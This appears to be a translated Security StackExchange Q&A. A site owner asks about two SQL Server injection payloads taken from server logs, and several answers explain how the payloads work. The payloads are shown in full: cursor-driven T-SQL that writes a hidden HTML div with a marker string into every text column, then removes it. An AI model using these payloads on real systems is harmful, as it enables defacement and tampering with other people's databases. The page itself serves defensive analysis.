首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >SQL注入如何注入HTML?

SQL注入如何注入HTML?
EN

Security用户
提问于 2018-01-19 08:35:01
回答 3查看 965关注 0票数 2

我在我的two服务器日志中发现了两次尝试SQL注入的尝试:

代码语言:javascript
复制
declare @c cursor;
set @c=cursor for select TABLE_NAME,c.COLUMN_NAME FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS c ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%text';declare @a varchar(99);
declare @s varchar(99);
declare @f varchar(99);
declare @q varchar(8000);
open @c;fetch next from @c into @a,@s;
while @@FETCH_STATUS=0 
begin set @q='declare @f binary(16);
declare @x cursor;
set @x=cursor for SELECT TEXTPTR(['+@s+']) FROM ['+@a+'] where not ['+@s+'] like ''%edf40wrjww2%'';
open @x;
fetch next from @x into @f;
while @@FETCH_STATUS=0 
begin declare @s varchar(8000);
set @s=''UPDATETEXT ['+@a+'].['+@s+'] ''+master.dbo.fn_varbintohexstr(@f)+'' 0 0 ''''''+char(60)+''div style="display:none"''+char(62)+''edf40wrjww2'+@a+':'+@s+'''+char(60)+char(47)+''div''+char(62)+'''''';'';exec(@s);
fetch next from @x into @f;
end;close @x';
exec(@q);
fetch next from @c into @a,@s;end;close @c--
代码语言:javascript
复制
declare @c cursor;
set @c=cursor for select TABLE_NAME,c.COLUMN_NAME FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS c ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%text';
declare @a varchar(99);
declare @s varchar(99);
declare @f varchar(99);
declare @q varchar(8000);
open @c;
fetch next from @c into @a,@s;
while @@FETCH_STATUS=0 begin set @q='declare @l int;set @l=44+len('''+@s+''')+len('''+@a+''');declare @f binary(16);
declare @x cursor;
set @x=cursor for SELECT TEXTPTR(['+@s+']) FROM ['+@a+'] where ['+@s+'] like ' '%edf40wrjww2%'';
open @x;
fetch next from @x into @f;
while @@FETCH_STATUS=0 begin declare @s varchar(8000);
set @s=''UPDATETEXT ['+@a+'].['+@s+'] ''+master.dbo.fn_varbintohexstr(@f)+'' 0 ''+cast(@l as varchar)+'' '''''''''';exec(@s);fetch next from @x into @f;end;close @x'; 
exec(@q);
fetch next from @c into @a,@s;

end;
close @c--

这就是我想象的攻击方式:第一次尝试将<div>元素插入到带有跟踪代码的网页HTML代码中。然后,恶意用户可以很容易地搜索受感染的网站。第二次尝试在DB中查找代码,然后尝试从其中提取信息(?)。

我也在网上搜索过这个代码,看起来有很多网站被感染了(大约200个,主要是中文),你可以在它们的源代码中看到“面包屑代码”。

我的问题是:

  1. 如果第一个注入将代码注入到DB中,那么HTML代码如何从DB“传输”到实际的HTML源代码?
  2. 攻击者在第二次尝试中到底想做什么?使用UPDATETEXT向受感染的字段添加行/列值,并以这种方式提取信息?
EN

回答 3

Security用户

回答已采纳

发布于 2018-01-20 04:17:51

聪明的。我相信它的想法是尝试对针对Server的网页执行SQL注入。其思想是,成功的SQL注入可以通过确定它们是否传播到web页面来发现。web应用程序或页面利用的任何数据/字段等现在都将显示唯一的字符串。他们可能会立即(反映)查找字符串,以及随后扫描应用程序或站点(存储的SQL注入)。你甚至可以利用你最喜欢的搜索引擎找到它们(就像你发现的那样)。商业网络扫描仪使用类似的技术来标记注射。

第一个脚本用一个由某些HTML包装的唯一字符串(edf40wrjww2)更新DB中的所有字段。第二个脚本遍历第一个脚本更新的所有字段,并附加到有关已泄露的表和列的特定信息上。不确定为什么这会被分成两个脚本--这可能是为了减少注入长度,或者确保列的长度至少可以与标记相匹配。

如果使用Server,则可能需要检查数据库中的此字符串。

票数 1
EN

Security用户

发布于 2018-01-20 16:32:53

  1. 该脚本将<div>标记的tablename:字段名写入一个文本字段,其中包含他希望显示在页面上的数据。当站点呈现页面时,它从数据库中提取文本并将其放到要显示的页面上。div标记是用来隐藏它的;但是并不是每个显示的HTML元素都允许包含div标记,这就是为什么您可能在站点的标题中看到div标记的原因。
  2. 我认为第一个脚本试图标记任何合适的未受感染的字段,这些字段可以用来提取文本(一个侦察通道)。第二个类似于它报告了确切的tablename:字段名,其中包含注入的文本。或者,第一个脚本可能没有完全按照攻击者的要求执行,于是他对其进行了修改并进行了第二次尝试。
票数 1
EN

Security用户

发布于 2018-01-20 18:58:55

攻击者正试图进入带外SQL注入,这在MS服务器上是很可能的。带外SQLi技术将依赖于数据库服务器发出DNS或HTTP请求以向攻击者传递数据的能力。Microsoft的xp_dirtree命令就是这种情况,它可以用于向攻击者控制的服务器发出UTL_HTTP请求,以及Oracle的UTL_HTTP包,后者可用于从server和PL/SQL向攻击者控制的服务器发送HTTP请求。

很少有台湾站点&那些高度依赖MS服务器的应用程序,如果推理不起作用,就容易受到推理和带外SQL注入的影响。

为了执行带外SQL注入跟踪,攻击者将需要完全依赖于敲击或发出DNS请求,从而注入有效载荷,就好像有效负载随后会从带宽通道(如协作服务器 )中得到结果一样。

很少有关于MySQL乐队外技术的论文,但这里有一篇:https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf

回答你的问题:

  1. 它不会尝试通过渲染来提取信息,如果可能的话,攻击者可能不会再试一次。在推理或基于错误的情况下-工作方式!但是这些试验都失败了,这就是为什么攻击者会进行带外SQL注入。
  2. 攻击者试图迭代,直到提取所有表详细信息。
票数 1
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/177958

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档